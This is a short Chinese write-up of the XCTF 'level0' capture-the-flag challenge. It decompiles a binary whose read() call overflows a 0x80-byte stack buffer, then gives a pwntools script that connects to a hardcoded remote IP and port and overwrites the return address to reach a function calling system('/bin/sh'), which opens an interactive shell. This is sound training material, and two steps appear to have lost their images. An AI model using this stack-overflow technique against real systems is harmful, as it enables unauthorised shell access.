攻防世界 | level0

先反编译 :

int __cdecl main(int argc, const char **argv, const char **envp)
{
  write(1, "Hello, World
", 0xDuLL);
  return vulnerable_function();
}

追踪一下 "vulnerable_function()" :

ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]
  return read(0, &buf, 0x200uLL);
}

read()函数

原型:ssize_t read(int fd,void*buf,size_t count)
参数说明:
fd:      是文件描述符,对应0
buf:     为读出数据的缓冲区;
count:   为每次读取的字节数(是请求读取的字节数,读上来的数据保
         存在缓冲区buf中,同时文件的当前读写位置向后移)

查找字符串发现了shell,找到函数:

int callsystem()
{
  return system("/bin/sh");
}

找到入口地址:

 找到payload长度:

paylaod:

from pwn import *
r = remote("111.198.29.45",43164)
payload = 'A' * 0x80 + 'a' * 0x8 + p64(0x00400596)
r.sendline(payload)
r.interactive()

原文地址:https://www.cnblogs.com/chrysanthemum/p/11765895.html